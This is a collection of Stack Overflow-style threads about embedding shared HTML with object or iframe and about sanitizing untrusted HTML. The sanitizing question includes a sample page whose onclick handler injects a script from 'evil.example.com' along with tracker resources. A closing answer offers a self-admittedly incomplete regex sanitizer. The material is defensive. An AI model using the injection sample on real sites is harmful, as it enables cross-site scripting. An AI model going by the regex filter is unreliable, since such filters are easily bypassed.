I've been redesigning a website I built several years ago, originally using frames, so that the website uses CSS and div tags. In trying to make my webdesign as flexible as possible, I wish to share common elements, such as the banner at the top of the page, and the footer, etc. so that they link to one common file - and a change to this file causes a change on all other pages. I've been trying to do this without the hassle of setting up PHP or ASP etc. server side.
I've found the following solution to work, but have found no references to it online, what are the disadvantages of the following solution?
<div id="wrapper">
<div id="header"><object type="text/html" data="test.html" style="width:100%; height:100% margin:0"></object></div>
<div id="content">Individual page content here.</div></div>
Where the test.html file contains the common header.
There are multiple advantages to setting up some sort of server-side scripting. The first I can think of is that there are fewer HTTP requests, which will make for snappier page load times. Second, it's pretty easy to set up and it adds a whole new world of functionality. Third, I rarely come across a legitimate use case for <object> elements.
That being said, one implementation in PHP could be as follows, in your index.php file:
<?php require_once('header.php'); ?>
<!-- index.php content goes here! -->
<?php require_once('footer.php'); ?>
Obviously, your header.php and footer.php files would contain the header and footer templates which would be included on every page load.
This approach drastically simplifies your development and makes for a faster user experience. Of course, you don't need to use PHP, you could use Python or any other server-side scripting language out there for all I care. I just used it as an example.
If you don’t want to use server-side programming (which could also be a CMS), SSI, or local tools (like static site generators):
Plain HTML5 offers three ways to embed an HTML document in an HTML document:
embed
iframe
object
[…] but have found no references to it online
The HTML5 spec contains such an example using object:
In this example, an HTML page is embedded in another using the object element.
<figure>
<object data="clock.html"></object>
<figcaption>My HTML Clock</figcaption>
</figure>
Disadvantages? Well, all the user agents you are interested in would have to support the object element. It might be the case that some consumers (e.g., some search engines) don’t index content embedded like that (but discussing this is off-topic on SO).
Related
I want to include some semantic information of another website in my own site (for reusing the information instead of copying it). Is there a standardized HTML tag for this? (like it is possible with videos, images, etc.)
As an example, let's take some code from schema.org:
<div itemscope itemtype="http://schema.org/Offer">
<span itemprop="name">Blend-O-Matic</span>
<span itemprop="price">$19.95</span>
<link itemprop="availability" href="http://schema.org/InStock"/>Available today!
</div>
Now, I want to include the price information in my site. How can I do this? (I imagined to use something like this <information src="..." type="microdata" attributes="price" query="name=Blend-O-Matic" type="http://schema.org/Offer"/> but haven't found anything.)
HTML doesn’t offer something like this. The equivalent of img/video/etc. would be iframe, but this only allows displaying the whole HTML document, not just a specific part of it.
On the level of structured data (e.g., using Microdata, or RDF serializations like RDFa and JSON-LD), you can refer to another thing by referencing that thing’s URI (if the publisher defined one), but not to a property of that thing.
If you want to display the data on your page, you have to
get the data (scraping, API, SPARQL, …),
include the data (either on the client-side with JavaScript, or on the server-side with a programming language of your choice), and
regularly check the original source for updates.
I am looking for a simple way to make my website modular and extract common parts that appear often like header and footer into separate files.
In my case, I can not use any server-side includes with e.g. PHP. I also generally would like to avoid including big libraries like JQuery just for such a simple task.
Now I came across https://stackoverflow.com/a/691059/4464570 which suggests to simply use an HTML <object> tag to include another HTML file into a page, like this:
<object data="parts/header.html" type="text/html">header goes here</object>
I might be missing something important here, but to me this way seems to perfectly fit my needs. It is very short and precise, the <object> tag is well supported by all browsers, I don't need to include any big libraries and actually I don't even need any JavaScript, which allows users blocking that to still view the correct page structure and layout.
So are there any disadvantages I'm currently not aware of yet with this approach? The main reason for my doubts is that out of dozens of answers on how to include HTML fragments, only one recommended <object> while all others went for a PHP or JavaScript/JQuery way.
Furthermore, do I have to pay attention to anything special regarding how to put the <object> tag into my main page, or regarding the structure of the file I want to include this way? Like, may the embedded file be a complete HTML document with <!DOCTYPE>, <html>, <head> and <body> or should/must I strip all those structures and leave only the inner HTML elements? Is there anything special about using JavaScript or CSS inside HTML embedded this way?
The use of the <object> tag for HTML content is very similar to the use of an <iframe>. Both just load a webpage as a seperate document inside a frame that itself is the child of your main document.
Frames used to be very popular in the early days of web development, then in the form of the <frame> tag. They are generally frowned upon, however, and you should really use them as little as possible.
Why not to use this technique for displaying your own content
The HTML content in the child frame cannot communicate with the parent. For example, you can't use a script in the parent HTML to communicate with the child and vice versa. That makes it not very useful for serving your own content when you want to display anything but static text.
Why not to use this technique for displaying someone else's content
You can't use it to serve a lot of external content either. Many websites (including eg. SO) send an X-Frame-Options header along with their webpage that has the value SAMEORIGIN. This prevents your content from being loaded and displayed.
OK, I know how to include HTML content from a separate file using the <object> tag. What I can't find any info about is what is allowed/required within the included HTML file. Can said included file merely be some text with some HTML tags, or does it have to be a complete HTML file with headers, <head>, and <body>? How does this appear within the DOM of the original document, if it appears within that DOM at all? Or are the two documents treated entirely separately?
Yes, I know, I could experiment to see what works. However, I know enough about HTML to know that what happens to work, for now, may not be the correct way to do things. I am not expecting anyone to list out all the rules here, but if someone could post some links I would much appreciate it. This is a topic that has proven exceeding difficult to search the internet for.
In 13.5 Notes on embedded documents, I believe I have found the answer to both of my questions. The second paragraph says,
An embedded document is entirely independent of the document in which
it is embedded. For instance, relative URIs within the embedded
document resolve according to the base URI of the embedded document,
not that of the main document. An embedded document is only rendered
within another document (e.g., in a subwindow); it remains otherwise
independent.
So, yes, as both #Quentin and #Sinan said, it would require the embedded .html file to be a complete, valid .html file. And, no, it would not become part of the DOM of the original document.
Thanks to everyone for their prompt assistance. The StackOverflow community continues to amaze me.
<object> is a way to include a generic media object.
An HTML document is an example of such.
The HTML spec doesn't describe a means to provide a fragment of HTML to a browser, only a complete document. There is no standard MIME type for a fragment of HTML.
Therefore: You should use complete HTML documents.
That said, if you are going down that route, you would almost certainly be better off using <iframe> which has a much more featureful and robust set of APIs and documentation surrounding it.
How does this appear within the DOM of the original document, if it appears within that DOM at all?
As an object element. The child nodes of which are whatever alternative content you provide between the start and end tag.
Or are the two documents treated entirely separately?
Yes, much like an iframe.
<object> in HTML5 and <object> in HTML4.
The object element represents external content, which, depending on the type of the content, will either be treated as an image, as a nested browsing context, or as external content to be processed by a plugin.
Motivation from HTML4:
Previous versions of HTML allowed authors to include images (via IMG) and applets (via APPLET). These elements have several limitations:
They fail to solve the more general problem of how to include new and future media types.
The APPLET element only works with Java-based applets. This element is deprecated in favor of OBJECT.
They pose accessibility problems.
To address these issues, HTML 4 introduces the OBJECT element, which offers an all-purpose solution to generic object inclusion. The OBJECT element allows HTML authors to specify everything required by an object for its presentation by a user agent: source code, initial values, and run-time data. In this specification, the term "object" is used to describe the things that people want to place in HTML documents; other commonly used terms for these things are: applets, plug-ins, media handlers, etc. (emphasis mine)
So, basically, <object> elements are pretty generic. The only real condition is that there needs to be some kind of functionality on the client side to render the element.
For example:
<object data="test.html" height="50" width="50"></object>
renders the contents of test.html in a tiny area (no scaling!) with Firefox whereas links just displays [OBJ].
Embedded Content explains what happens when an <object> element is encountered.
Due to the algorithm above, the contents of object elements act as fallback content, used only when referenced resources can't be shown (e.g. because it returned a 404 error). This allows multiple object elements to be nested inside each other, targeting multiple user agents with different capabilities, with the user agent picking the first one it supports. (emphasis mine)
I believe that answers the question of how the <object> enters the DOM. If it were any other way, for example, element ids in included documents could trample on the DOM of the host page.
Regardless of what capabilities you observe in current user agents, you should ensure included HTML documents are well-structured, and valid.
Further down, consider the included example:
In this example, an HTML page is embedded in another using the object element.
<figure>
<object data="clock.html"></object>
<figcaption>My HTML Clock</figcaption>
</figure>
Note the example refers to an HTML page — not a fragment.
I want to embed some HTML on my website... I would like that:
SEO: that content can be crawled and indexed
Integration: it renders nicely (does not break my DOM trees for instance, or does not inherit my styles)
Security: it remains safe for our user (javascript disabled)
Flexibility: the HTML can be completely free (don't want any BBCode or MarkDown or even TinyMCE, it's our users that are writing the HTML code...)
I saw that I might be able to use the IFrame for that, but I am not sure it is a very good solution concerning my SEO constraint.
Any answer would be greatly appreciated!!! Thanks.
For your requirements (rendering and security, primarily), IFRAME seems to be your only option, especially when we consider no rules are specified for the HTML content except the JS removal. Even some CSS + 'a' tag can bring a serious security risk, like overlaying outgoing links on your standard interface.
For the SEO part, you can use SEO maps to show the search engines the relation between the content and the container, also use html tags like link to make connection.
To make sure the user's html is safe then you should use HTMLPurifer. In terms of the rest of the question, you should split this up into multiple questions.
This is a common problem, I'm hoping it's been thoroughly solved for me.
In a system I'm doing for a client, we want to accept HTML from untrusted sources (HTML-formatted email and also HTML files), sanitize it so it doesn't have any scripting, links to external resources, and other security/etc. issues; and then display it safely while not losing the basic formatting. E.g., much as an email client would do with HTML-formatted email, but ideally without repeating the 347,821 mistakes that have been made (so far) in that arena. :-)
The goal is to end up with something we'd feel comfortable displaying to internal users via an iframe in our own web interface, or via the WebBrowser class in a .Net Windows Forms app (which seems to be no safer, possibly less so), etc. Example below.
We recognize that some of this may well muck up the display of the text; that's okay.
We'll be sanitizing the HTML on receipt and storing the sanitized version (don't worry about the storage part — SQL injection and the like — we've got that bit covered).
The software will need to run on Windows Server. COM DLL or .Net assembly preferred. FOSS markedly preferred, but not a deal-breaker.
What I've found so far:
The AntiSamy.Net project (but it appears to no longer be under active development, being over a year behind the main — and active — AntiSamy Java project).
Some code from our very own Jeff Atwood, circa three years ago (gee, I wonder what he was doing...).
The HTML Agility Pack (used by the AntiSamy.Net project above), which would give me a robust parser; then I could implement my own logic for walking through the resulting DOM and filtering out anything I didn't whitelist. The agility pack looks really great, but I'd be relying on my own whitelist rather than reusing a wheel that someone's already invented, so that's a ding against it.
The Microsoft Anti-XSS library
What would you recommend for this task? One of the above? Something else?
For example, we want to remove things like:
script elements
link, img, and such elements that reach out to external resources (probably replace img with the text "[image removed]" or some such)
embed, object, applet, audio, video, and other tags that try to create objects
onclick and similar DOM0 event handler script code
hrefs on a elements that trigger code (even links we think are okay we may well turn into plaintext that users have to intentionally copy and paste into a browser).
__________ (the 722 things I haven't thought of that are the reason I'm looking to leverage something that already exists)
So for instance, this HTML:
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css">
</head>
<body>
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here's my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>
would become
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here's my nefarious tracker image:
[image removed]
</p>
</body>
</html>
(Note we removed the link and the onclick entirely, and replaced the img with a placeholder. This is just a small subset of what we figure we'll need to strip out.)
This is an older, but still relevant question.
We are using the HtmlSanitizer .Net library, which:
is open-source
is actively maintained
doesn't have the problems like Microsoft Anti-XSS library,
Is unit tested with the
OWASP XSS Filter Evasion Cheat Sheet
is special built for this (in contrast to HTML Agility Pack, which is a parser)
Also on NuGet
I am sensing you would definately need a parser that can generate a XML/DOM source so that you can apply fiter on it to produce what you are looking for.
See if HtmlTidy or Mozilla or HtmlCleaner parsers can help. HtmlCleaner has lot of configurable options which you might also want to look at. Specifically the transform section that allows you to skip the tags you doesn't require.
I would suggest using another approach. If you control the method in which the HTML is viewed I would remove all threats by using a HTML render that doesn't have a ECMA script engine, or any XSS capability. I see you are going to use the built-in WebBrowser object, and rightly so, you want to produce HTML that cannot be used to attack your users.
I recommend looking for a basic HTML display engine. One that cannot parse or understand any of the scripting functionality that would make you vulnerable. All the javascript would just be ignored then.
This does have another problem though. You would need to ensure that the viewer you are using isn't susceptible to other types of attacks.
I suggest looking at http://htmlpurifier.org/. Their library is pretty complete.
Interesting problem, i took some time facing it because there are a lot of things we want to remove from user imput, and even if i do a long list of things to be removed, latter on HTML can evolve and my list would have some holes.
Nonetheless i want users to input some simple things like bold, italic, paragraphs... prety simple.
No doubts the allowed things list is shorter and html can change latter on, that wont make holes on my list unless html stops supports this simple things.
So start thinking otherwise, say just what you allow, with great pain because i'm not an expert on regex (so please some regex people correct me here or improve) i coded this expression and its working form me even before HTML5 arrive.
replace(/(?!<[/]?(b|i|p|br)(\s[^<]*>|[/]>|>))<[^>]*>/gi,"")
(b|i|p|br) <- this is the list of allowed tags, feel free to add some.
this is a startpoint and thats why some regex people should improve to remove also the attributes, like onclick
if i do this:
(?!<[/]?(b|i|p|br)(\s*>|[/]>|>))<[^>]*>
tags with onclick or other stuff will be removed but the corresponding closing tags will remain, and after all we don't want those tags removed we just want to remove the tag attributes.
maybe a second regex pass with
(?!<[^<>\s]+)\s[^</>]+(?=[/>])
am i right? can this be composed into a single pass?
we still have no relation between tags (opening/closing), no great deal till now.
Can the attribute remove be write to remove all not from a white lists? (possibly yes).
a last problem.. when removing tags like script the content remains, its desirable when removing font but not script, well we can do a first pass with
<(script|object|embed)[^>]*>.*</\1>
that will remove certain tags and its content.. but its a black list, meaning you have to keep an eye on it in case html changes.
note: all with "gi"
edit:
joined all the above on this function
String.prototype.sanitizeHTML=function (white,black) {
if (!white) white="b|i|p|br";//allowed tags
if (!black) black="script|object|embed";//complete remove tags
e=new RegExp("(<("+black+")[^>]*>.*</\\2>|(?!<[/]?("+white+")(\\s[^<]*>|[/]>|>))<[^<>]*>|(?!<[^<>\\s]+)\\s[^</>]+(?=[/>]))", "gi");
return this.replace(e,"");
}
-black list -> complete remove tag and content
-white list -> retain tags
other tags are removed but tag content is retained
all attributes of white list tag's (the remaining ones) are removed
still there is place for a white list of attributes (not implemented above) because if i want to preserve IMG then the src must stay... and what about tracking images?